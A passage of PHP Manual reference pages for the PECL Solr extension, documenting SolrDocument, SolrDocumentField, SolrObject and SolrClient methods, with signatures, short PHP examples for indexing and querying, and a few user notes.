SolrDocument::next
SolrDocument::offsetGet
SolrDocument


Retrieves a field

SolrDocument::offsetExists
SolrDocument::offsetSet
SolrDocument
PHP Manual

SolrDocument::offsetGet

(PECL solr >= 0.9.2)

SolrDocument::offsetGet — Retrieves a field

Description

public SolrDocumentField SolrDocument::offsetGet ( string $fieldName )

This is used to retrieve the field when the object is treated as an array.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField object.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::offsetExists
SolrDocument::offsetSet
SolrDocument


Adds a field to the document

SolrDocument::offsetGet
SolrDocument::offsetUnset
SolrDocument
PHP Manual

SolrDocument::offsetSet

(PECL solr >= 0.9.2)

SolrDocument::offsetSet — Adds a field to the document

Description

public void SolrDocument::offsetSet ( string $fieldName , string $fieldValue )

Used when the object is treated as an array to add a field to the document.

Parameters

fieldName

The name of the field.

fieldValue

The value for this field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::offsetGet
SolrDocument::offsetUnset
SolrDocument


Removes a field

SolrDocument::offsetSet
SolrDocument::reset
SolrDocument
PHP Manual

SolrDocument::offsetUnset

(PECL solr >= 0.9.2)

SolrDocument::offsetUnset — Removes a field

Description

public void SolrDocument::offsetUnset ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

The name of the field.

Return Values

No return value.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::offsetSet
SolrDocument::reset
SolrDocument


This is an alias to SolrDocument::clear()

SolrDocument::offsetUnset
SolrDocument::rewind
SolrDocument
PHP Manual

SolrDocument::reset

(PECL solr >= 0.9.2)

SolrDocument::reset — This is an alias to SolrDocument::clear()

Description

public bool SolrDocument::reset ( void )

This is an alias to SolrDocument::clear()

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::offsetUnset
SolrDocument::rewind
SolrDocument


Resets the internal pointer to the beginning

SolrDocument::reset
SolrDocument::serialize
SolrDocument
PHP Manual

SolrDocument::rewind

(PECL solr >= 0.9.2)

SolrDocument::rewind — Resets the internal pointer to the beginning

Description

public void SolrDocument::rewind ( void )

Resets the internal pointer to the beginning.

Parameters

This function has no parameters.

Return Values

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::reset
SolrDocument::serialize
SolrDocument


Used for custom serialization

SolrDocument::rewind
SolrDocument::__set
SolrDocument
PHP Manual

SolrDocument::serialize

(PECL solr >= 0.9.2)

SolrDocument::serialize — Used for custom serialization

Description

public string SolrDocument::serialize ( void )

Used for custom serialization.

Parameters

This function has no parameters.

Return Values

Returns a string representing the serialized Solr document.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::rewind
SolrDocument::__set
SolrDocument


Adds another field to the document

SolrDocument::serialize
SolrDocument::sort
SolrDocument
PHP Manual

SolrDocument::__set

(PECL solr >= 0.9.2)

SolrDocument::__set — Adds another field to the document

Description

public bool SolrDocument::__set ( string $fieldName , string $fieldValue )

Adds another field to the document. Used to set the fields as new properties.

Parameters

fieldName

Name of the field.

fieldValue

Field value.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::serialize
SolrDocument::sort
SolrDocument


Sorts the fields in the document

SolrDocument::__set
SolrDocument::toArray
SolrDocument
PHP Manual

SolrDocument::sort

(PECL solr >= 0.9.2)

SolrDocument::sort — Sorts the fields in the document

Description

public bool SolrDocument::sort ( int $sortOrderBy [, int $sortDirection = SolrDocument::SORT_ASC ] )

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The sortOrderBy parameter must be one of :

   * SolrDocument::SORT_FIELD_NAME
   * SolrDocument::SORT_FIELD_BOOST_VALUE
   * SolrDocument::SORT_FIELD_VALUE_COUNT

   The sortDirection can be one of :

   * SolrDocument::SORT_DEFAULT
   * SolrDocument::SORT_ASC
   * SolrDocument::SORT_DESC

   The default way is to sort in ascending order.

Parameters

sortOrderBy

The sort criteria.

sortDirection

The sort direction.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__set
SolrDocument::toArray
SolrDocument


Returns an array representation of the document

SolrDocument::sort
SolrDocument::unserialize
SolrDocument
PHP Manual

SolrDocument::toArray

(PECL solr >= 0.9.2)

SolrDocument::toArray — Returns an array representation of the document

Description

public array SolrDocument::toArray ( void )

Returns an array representation of the document.

Parameters

This function has no parameters.

Return Values

Returns an array representation of the document.

Examples

Example #1 SolrDocument::toArray() example

<?php

$doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

print_r($doc->toArray());

?>

The above example will output something similar to:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::sort
SolrDocument::unserialize
SolrDocument


Custom serialization of SolrDocument objects

SolrDocument::toArray
SolrDocument::__unset
SolrDocument
PHP Manual

SolrDocument::unserialize

(PECL solr >= 0.9.2)

SolrDocument::unserialize — Custom serialization of SolrDocument objects

Description

public void SolrDocument::unserialize ( string $serialized )

Custom serialization of SolrDocument objects

Parameters

serialized

An XML representation of the document.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::toArray
SolrDocument::__unset
SolrDocument


Removes a field from the document

SolrDocument::unserialize
SolrDocument::valid
SolrDocument
PHP Manual

SolrDocument::__unset

(PECL solr >= 0.9.2)

SolrDocument::__unset — Removes a field from the document

Description

public bool SolrDocument::__unset ( string $fieldName )

Removes a field from the document when the field is access as an object property.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::unserialize
SolrDocument::valid
SolrDocument


Checks if the current position internally is still valid

SolrDocument::__unset
SolrDocumentField
SolrDocument
PHP Manual

SolrDocument::valid

(PECL solr >= 0.9.2)

SolrDocument::valid — Checks if the current position internally is still valid

Description

public bool SolrDocument::valid ( void )

Checks if the current position internally is still valid. It is used during foreach operations.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success and FALSE if the current position is no longer valid.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::__unset
SolrDocumentField
SolrDocument


The SolrDocumentField class

(No version information available, might only be in SVN)

Introduction

This represents a field in a Solr document. All its properties are read-only.

Class synopsis

final SolrDocumentField {
/* Properties */
readonly public string $name ;
readonly public float $boost ;
readonly public array $values ;
/* Methods */
public __construct ( void )
public void __destruct ( void )
}

Properties

name

The name of the field.

boost

The boost value for the field

values

An array of values for this field

Table of Contents

  • SolrDocumentField::__construct — Constructor
  • SolrDocumentField::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.
SolrDocument::valid
SolrDocumentField::__construct
Solr


Constructor

SolrDocumentField
SolrDocumentField::__destruct
SolrDocumentField
PHP Manual

SolrDocumentField::__construct

(PECL solr >= 0.9.2)

SolrDocumentField::__construct — Constructor

Description

public SolrDocumentField::__construct ( void )

Constructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocumentField
SolrDocumentField::__destruct
SolrDocumentField


Destructor

SolrDocumentField::__construct
SolrObject
SolrDocumentField
PHP Manual

SolrDocumentField::__destruct

(PECL solr >= 0.9.2)

SolrDocumentField::__destruct — Destructor

Description

public void SolrDocumentField::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrDocumentField::__construct
SolrObject
SolrDocumentField


The SolrObject class

(No version information available, might only be in SVN)

Introduction

This is an object whose properties can also by accessed using the array syntax. All its properties are read-only.

Class synopsis

final SolrObject implements ArrayAccess {
/* Methods */
public __construct ( void )
public void __destruct ( void )
public array getPropertyNames ( void )
public bool offsetExists ( string $property_name )
public mixed offsetGet ( string $property_name )
public void offsetSet ( string $property_name , string $property_value )
public void offsetUnset ( string $property_name )
}

Table of Contents

  • SolrObject::__construct — Creates Solr object
  • SolrObject::__destruct — Destructor
  • SolrObject::getPropertyNames — Returns an array of all the names of the properties
  • SolrObject::offsetExists — Checks if the property exists
  • SolrObject::offsetGet — Used to retrieve a property
  • SolrObject::offsetSet — Sets the value for a property
  • SolrObject::offsetUnset — Sets the value for the property

User Contributed Notes

There are no user contributed notes for this page.
SolrDocumentField::__destruct
SolrObject::__construct
Solr


Creates Solr object

SolrObject
SolrObject::__destruct
SolrObject
PHP Manual

SolrObject::__construct

(PECL solr >= 0.9.2)

SolrObject::__construct — Creates Solr object

Description

public SolrObject::__construct ( void )

Creates Solr object.

Parameters

This function has no parameters.

Return Values

None

Examples

Example #1 SolrObject::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
SolrObject
SolrObject::__destruct
SolrObject


Destructor

SolrObject::__construct
SolrObject::getPropertyNames
SolrObject
PHP Manual

SolrObject::__destruct

(PECL solr >= 0.9.2)

SolrObject::__destruct — Destructor

Description

public void SolrObject::__destruct ( void )

The destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::__construct
SolrObject::getPropertyNames
SolrObject


Returns an array of all the names of the properties

SolrObject::__destruct
SolrObject::offsetExists
SolrObject
PHP Manual

SolrObject::getPropertyNames

(PECL solr >= 0.9.2)

SolrObject::getPropertyNames — Returns an array of all the names of the properties

Description

public array SolrObject::getPropertyNames ( void )

Returns an array of all the names of the properties

Parameters

This function has no parameters.

Return Values

Returns an array.

User Contributed Notes

dohpaz at nospam dot net 20-May-2010 11:21
It should be noted that when using SolrObject::getPropertyNames(), the array keys have an invisible character that needs to be trim()'d to work correctly.
SolrObject::__destruct
SolrObject::offsetExists
SolrObject


Checks if the property exists

SolrObject::getPropertyNames
SolrObject::offsetGet
SolrObject
PHP Manual

SolrObject::offsetExists

(PECL solr >= 0.9.2)

SolrObject::offsetExists — Checks if the property exists

Description

public bool SolrObject::offsetExists ( string $property_name )

Checks if the property exists. This is used when the object is treated as an array.

Parameters

property_name

The name of the property.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::getPropertyNames
SolrObject::offsetGet
SolrObject


Used to retrieve a property

SolrObject::offsetExists
SolrObject::offsetSet
SolrObject
PHP Manual

SolrObject::offsetGet

(PECL solr >= 0.9.2)

SolrObject::offsetGet — Used to retrieve a property

Description

public mixed SolrObject::offsetGet ( string $property_name )

Used to get the value of a property. This is used when the object is treated as an array.

Parameters

property_name

Name of the property.

Return Values

Returns the property value.

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::offsetExists
SolrObject::offsetSet
SolrObject


Sets the value for a property

SolrObject::offsetGet
SolrObject::offsetUnset
SolrObject
PHP Manual

SolrObject::offsetSet

(PECL solr >= 0.9.2)

SolrObject::offsetSet — Sets the value for a property

Description

public void SolrObject::offsetSet ( string $property_name , string $property_value )

Sets the value for a property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

Parameters

property_name

The name of the property.

property_value

The new value.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::offsetGet
SolrObject::offsetUnset
SolrObject


Sets the value for the property

SolrObject::offsetSet
SolrClient
SolrObject
PHP Manual

SolrObject::offsetUnset

(PECL solr >= 0.9.2)

SolrObject::offsetUnset — Sets the value for the property

Description

public void SolrObject::offsetUnset ( string $property_name )

Sets the value for the property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

Parameters

property_name

The name of the property.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SolrObject::offsetUnset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::offsetSet
SolrClient
SolrObject


The SolrClient class

(No version information available, might only be in SVN)

Introduction

Used to send requests to a Solr server. Currently, cloning and serialization of SolrClient instances is not supported.

Class synopsis

final SolrClient {
/* Constants */
const integer SEARCH_SERVLET_TYPE = 1 ;
const integer UPDATE_SERVLET_TYPE = 2 ;
const integer THREADS_SERVLET_TYPE = 4 ;
const integer PING_SERVLET_TYPE = 8 ;
const integer TERMS_SERVLET_TYPE = 16 ;
const string DEFAULT_SEARCH_SERVLET = select ;
const string DEFAULT_UPDATE_SERVLET = update ;
const string DEFAULT_THREADS_SERVLET = admin/threads ;
const string DEFAULT_PING_SERVLET = admin/ping ;
const string DEFAULT_TERMS_SERVLET = terms ;
/* Methods */
public SolrUpdateResponse addDocument ( SolrInputDocument $doc [, bool $allowDups = false [, int $commitWithin = 0 ]] )
public void addDocuments ( array $docs [, bool $allowDups = false [, int $commitWithin = 0 ]] )
public SolrUpdateResponse commit ([ int $maxSegments = "1" [, bool $waitFlush = true [, bool $waitSearcher = true ]]] )
public __construct ( array $clientOptions )
public SolrUpdateResponse deleteById ( string $id )
public SolrUpdateResponse deleteByIds ( array $ids )
public SolrUpdateResponse deleteByQueries ( array $queries )
public SolrUpdateResponse deleteByQuery ( string $query )
public void __destruct ( void )
public string getDebug ( void )
public array getOptions ( void )
public SolrUpdateResponse optimize ([ int $maxSegments = "1" [, bool $waitFlush = true [, bool $waitSearcher = true ]]] )
public SolrPingResponse ping ( void )
public SolrQueryResponse query ( SolrParams $query )
public void request ( string $raw_request )
public SolrUpdateResponse rollback ( void )
public void setResponseWriter ( string $responseWriter )
public bool setServlet ( int $type , string $value )
public void threads ( void )
}

Predefined Constants

SolrClient::SEARCH_SERVLET_TYPE

Used when updating the search servlet.

SolrClient::UPDATE_SERVLET_TYPE

Used when updating the update servlet.

SolrClient::THREADS_SERVLET_TYPE

Used when updating the threads servlet.

SolrClient::PING_SERVLET_TYPE

Used when updating the ping servlet.

SolrClient::TERMS_SERVLET_TYPE

Used when updating the terms servlet.

SolrClient::DEFAULT_SEARCH_SERVLET

This is the intial value for the search servlet.

SolrClient::DEFAULT_UPDATE_SERVLET

This is the intial value for the update servlet.

SolrClient::DEFAULT_THREADS_SERVLET

This is the intial value for the threads servlet.

SolrClient::DEFAULT_PING_SERVLET

This is the intial value for the ping servlet.

SolrClient::DEFAULT_TERMS_SERVLET

This is the intial value for the terms servlet used for the TermsComponent

Table of Contents

  • SolrClient::addDocument — Adds a document to the index
  • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit — Finalizes all add/deletes made to the index
  • SolrClient::__construct — Constructor for the SolrClient object
  • SolrClient::deleteById — Delete by Id
  • SolrClient::deleteByIds — Deletes by Ids
  • SolrClient::deleteByQueries — Removes all documents matching any of the queries
  • SolrClient::deleteByQuery — Deletes all documents matching the given query
  • SolrClient::__destruct — Destructor for SolrClient
  • SolrClient::getDebug — Returns the debug data for the last connection attempt
  • SolrClient::getOptions — Returns the client options set internally
  • SolrClient::optimize — Defragments the index
  • SolrClient::ping — Checks if Solr server is still up
  • SolrClient::query — Sends a query to the server
  • SolrClient::request — Sends a raw update request
  • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
  • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
  • SolrClient::setServlet — Changes the specified servlet type to a new value
  • SolrClient::threads — Checks the threads status

User Contributed Notes

There are no user contributed notes for this page.
SolrObject::offsetUnset
SolrClient::addDocument
Solr


Adds a document to the index

SolrClient
SolrClient::addDocuments
SolrClient
PHP Manual

SolrClient::addDocument

(PECL solr >= 0.9.2)

SolrClient::addDocument — Adds a document to the index

Description

public SolrUpdateResponse SolrClient::addDocument ( SolrInputDocument $doc [, bool $allowDups = false [, int $commitWithin = 0 ]] )

This method adds a document to the index.

Parameters

doc

The SolrInputDocument instance.

allowDups

If FALSE duplicates will be overwritten.

commitWithin

Number of milliseconds within which to commit this document. Available since Solr 1.4

Return Values

Returns a SolrUpdateResponse object or throws a SolrClientException on failure.

Examples

Example #1 SolrClient::addDocument() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

See Also

  • SolrClient::addDocuments() - Adds a collection of SolrInputDocument instances to the index

User Contributed Notes

There are no user contributed notes for this page.
SolrClient
SolrClient::addDocuments
SolrClient


Adds a collection of SolrInputDocument instances to the index

SolrClient::addDocument
SolrClient::commit
SolrClient
PHP Manual

SolrClient::addDocuments

(PECL solr >= 0.9.2)

SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index

Description

public void SolrClient::addDocuments ( array $docs [, bool $allowDups = false [, int $commitWithin = 0 ]] )

Adds a collection of documents to the index.

Parameters

docs

An array containing the collection of SolrInputDocument instances. This array must be an actual variable.

allowDups

If FALSE duplicates will be overwritten.

commitWithin

Number of milliseconds within which to commit the documents to the index. This was only available since Solr 1.4

Return Values

Returns a SolrUpdateResponse object on success and throws a SolrClientException on failure.

Examples

Example #1 SolrClient::addDocuments() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$doc2 = clone $doc;

$doc2->deleteField('id');
$doc2->addField('id', 334456);

$docs = array($doc, $doc2);

$updateResponse = $client->addDocuments($docs);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

)

See Also

  • SolrClient::addDocument() - Adds a document to the index

User Contributed Notes

bjorn at bjorn-erik dot biz 23-Sep-2010 06:07
If you want to add a bunch of documents from a database, this would be the way to go, assuming you have fetched the records from the database and put them in an array called $recordset:

<?php
foreach ($recordset as $key=>$value){
   $docs_array[$key] = new SolrInputDocument();
   $docs_array[$key]->addField('id', $value['document_id']);
   $docs_array[$key]->addField('name',$value['document_name']);
}
$client->addDocuments($docs_array);
?>
SolrClient::addDocument
SolrClient::commit
SolrClient


Finalizes all add/deletes made to the index

SolrClient::addDocuments
SolrClient::__construct
SolrClient
PHP Manual

SolrClient::commit

(PECL solr >= 0.9.2)

SolrClient::commit — Finalizes all add/deletes made to the index

Description

public SolrUpdateResponse SolrClient::commit ([ int $maxSegments = "1" [, bool $waitFlush = true [, bool $waitSearcher = true ]]] )

This method finalizes all add/deletes made to the index.

Parameters

maxSegments

Optimizes down to at most this number of segments. Since Solr 1.3

waitFlush

Block until index changes are flushed to disk.

waitSearcher

Block until a new searcher is opened and registered as the main query searcher, making the changes visible.

Return Values

Returns a SolrUpdateResponse object on success or throws a SolrClientException on failure.

See Also

  • SolrClient::optimize() - Defragments the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::addDocuments
SolrClient::__construct
SolrClient


Constructor for the SolrClient object

SolrClient::commit
SolrClient::deleteById
SolrClient
PHP Manual

SolrClient::__construct

(PECL solr >= 0.9.2)

SolrClient::__construct — Constructor for the SolrClient object

Description

public SolrClient::__construct ( array $clientOptions )

Constructor for the SolrClient object

Parameters

clientOptions

This is an array containing one of the following keys :

- secure          (Boolean value indicating whether or not to connect in secure mode)
 - hostname        (The hostname for the Solr server)
 - port            (The port number)
 - path            (The path to solr)
 - wt              (The name of the response writer e.g. xml, phpnative)
 - login           (The username used for HTTP Authentication, if any)
 - password        (The HTTP Authentication password)
 - proxy_host      (The hostname for the proxy server, if any)
 - proxy_port      (The proxy port)
 - proxy_login     (The proxy username)
 - proxy_password  (The proxy password)
 - timeout         (This is maximum time in seconds allowed for the http data transfer operation. Default is 30 seconds)
 - ssl_cert        (File name to a PEM-formatted file containing the private key + private certificate (concatenated in that order) )
 - ssl_key         (File name to a PEM-formatted private key file only)
 - ssl_keypassword (Password for private key)
 - ssl_cainfo      (Name of file holding one or more CA certificates to verify peer with)
 - ssl_capath      (Name of directory holding multiple CA certificates to verify peer with )

 Please note the if the ssl_cert file only contains the private certificate, you have to specify a separate ssl_key file

 The ssl_keypassword option is required if the ssl_cert or ssl_key options are set.

Examples

Example #1 SolrClient::__construct() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_PATH_TO_SOLR,
    'wt'       => SOLR_PHP_NATIVE_RESPONSE_WRITER,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

?>

The above example will output something similar to:

See Also

  • SolrClient::getOptions() - Returns the client options set internally

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::commit
SolrClient::deleteById
SolrClient


Delete by Id

SolrClient::__construct
SolrClient::deleteByIds
SolrClient
PHP Manual

SolrClient::deleteById

(PECL solr >= 0.9.2)

SolrClient::deleteById — Delete by Id

Description

public SolrUpdateResponse SolrClient::deleteById ( string $id )

Deletes the document with the specified ID. Where ID is the value of the uniqueKey field declared in the schema

Parameters

id

The value of the uniqueKey field declared in the schema

Return Values

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

See Also

  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

litzinger at gmail dot com 22-Aug-2011 02:47
May need to run commit() after a delete query.

<?php
$this->solrClient->deleteByQuery('id:'.$entryId);
$result = $this->solrClient->commit();
?>
SolrClient::__construct
SolrClient::deleteByIds
SolrClient


Deletes by Ids

SolrClient::deleteById
SolrClient::deleteByQueries
SolrClient
PHP Manual

SolrClient::deleteByIds

(PECL solr >= 0.9.2)

SolrClient::deleteByIds — Deletes by Ids

Description

public SolrUpdateResponse SolrClient::deleteByIds ( array $ids )

Deletes a collection of documents with the specified set of ids.

Parameters

ids

An array of IDs representing the uniqueKey field declared in the schema for each document to be deleted. This must be an actual php variable.

Return Values

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::deleteById
SolrClient::deleteByQueries
SolrClient


Removes all documents matching any of the queries

SolrClient::deleteByIds
SolrClient::deleteByQuery
SolrClient
PHP Manual

SolrClient::deleteByQueries

(PECL solr >= 0.9.2)

SolrClient::deleteByQueries — Removes all documents matching any of the queries

Description

public SolrUpdateResponse SolrClient::deleteByQueries ( array $queries )

Removes all documents matching any of the queries

Parameters

queries

The array of queries. This must be an actual php variable.

Return Values

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::deleteByIds
SolrClient::deleteByQuery
SolrClient


Deletes all documents matching the given query

SolrClient::deleteByQueries
SolrClient::__destruct
SolrClient
PHP Manual

SolrClient::deleteByQuery

(PECL solr >= 0.9.2)

SolrClient::deleteByQuery — Deletes all documents matching the given query

Description

public SolrUpdateResponse SolrClient::deleteByQuery ( string $query )

Deletes all documents matching the given query.

Parameters

query

The query

Return Values

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::deleteByQueries
SolrClient::__destruct
SolrClient


Destructor for SolrClient

SolrClient::deleteByQuery
SolrClient::getDebug
SolrClient
PHP Manual

SolrClient::__destruct

(PECL solr >= 0.9.2)

SolrClient::__destruct — Destructor for SolrClient

Description

public void SolrClient::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

Destructor for SolrClient

See Also

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::deleteByQuery
SolrClient::getDebug
SolrClient


Returns the debug data for the last connection attempt

SolrClient::__destruct
SolrClient::getOptions
SolrClient
PHP Manual

SolrClient::getDebug

(PECL solr >= 0.9.7)

SolrClient::getDebug — Returns the debug data for the last connection attempt

Description

public string SolrClient::getDebug ( void )

Returns the debug data for the last connection attempt

Parameters

This function has no parameters.

Return Values

Returns a string on success and null if there is nothing to return.

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::__destruct
SolrClient::getOptions
SolrClient


Returns the client options set internally

SolrClient::getDebug
SolrClient::optimize
SolrClient
PHP Manual

SolrClient::getOptions

(PECL solr >= 0.9.6)

SolrClient::getOptions — Returns the client options set internally

Description

public array SolrClient::getOptions ( void )

Returns the client options set internally. Very useful for debugging. The values returned are readonly and can only be set when the object is instantiated.

Parameters

This function has no parameters.

Return Values

Returns an array containing all the options for the SolrClient object set internally.

See Also

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::getDebug
SolrClient::optimize
SolrClient


Defragments the index

SolrClient::getOptions
SolrClient::ping
SolrClient
PHP Manual

SolrClient::optimize

(PECL solr >= 0.9.2)

SolrClient::optimize — Defragments the index

Description

public SolrUpdateResponse SolrClient::optimize ([ int $maxSegments = "1" [, bool $waitFlush = true [, bool $waitSearcher = true ]]] )

Defragments the index for faster search performance.

Parameters

maxSegments

Optimizes down to at most this number of segments. Since Solr 1.3

waitFlush

Block until index changes are flushed to disk.

waitSearcher

Block until a new searcher is opened and registered as the main query searcher, making the changes visible.

Return Values

Returns a SolrUpdateResponse on success or throws a SolrClientException on failure.

See Also

  • SolrClient::commit() - Finalizes all add/deletes made to the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::getOptions
SolrClient::ping
SolrClient


Checks if Solr server is still up

SolrClient::optimize
SolrClient::query
SolrClient
PHP Manual

SolrClient::ping

(PECL solr >= 0.9.2)

SolrClient::ping — Checks if Solr server is still up

Description

public SolrPingResponse SolrClient::ping ( void )

Checks if the Solr server is still alive. Sends a HEAD request to the Apache Solr server.

Parameters

This function has no parameters.

Return Values

Returns a SolrPingResponse object on success and throws a SolrClientException on failure.

Examples

Example #1 SolrClient::ping() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$pingresponse = $client->ping();

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::optimize
SolrClient::query
SolrClient


Sends a query to the server

SolrClient::ping
SolrClient::request
SolrClient
PHP Manual

SolrClient::query

(PECL solr >= 0.9.2)

SolrClient::query — Sends a query to the server

Description

public SolrQueryResponse SolrClient::query ( SolrParams $query )

Sends a query to the server.

Parameters

query

A SolrParam object. It is recommended to use SolrQuery for advanced queries.

Return Values

Returns a SolrQueryResponse object on success and throws a SolrClientException object on failure.

Examples

Example #1 SolrClient::query() example

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.
SolrClient::ping
SolrClient::request
SolrClient


Sends a raw update request

SolrClient::query
SolrClient::rollback
SolrClient
PHP Manual

SolrClient::request

(PECL solr >= 0.9.2)

SolrClient::request — Sends a raw update request

Description

public void SolrClient::request ( string $raw_request )

Sends a raw XML update request to the server

Parameters

raw_request

An XML string with the raw request to the server.

Return Values

Returns a SolrUpdateResponse on success. Throws a SolrClientException on failure.

Examples

Example #1 SolrClient::request() example

<?php
$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

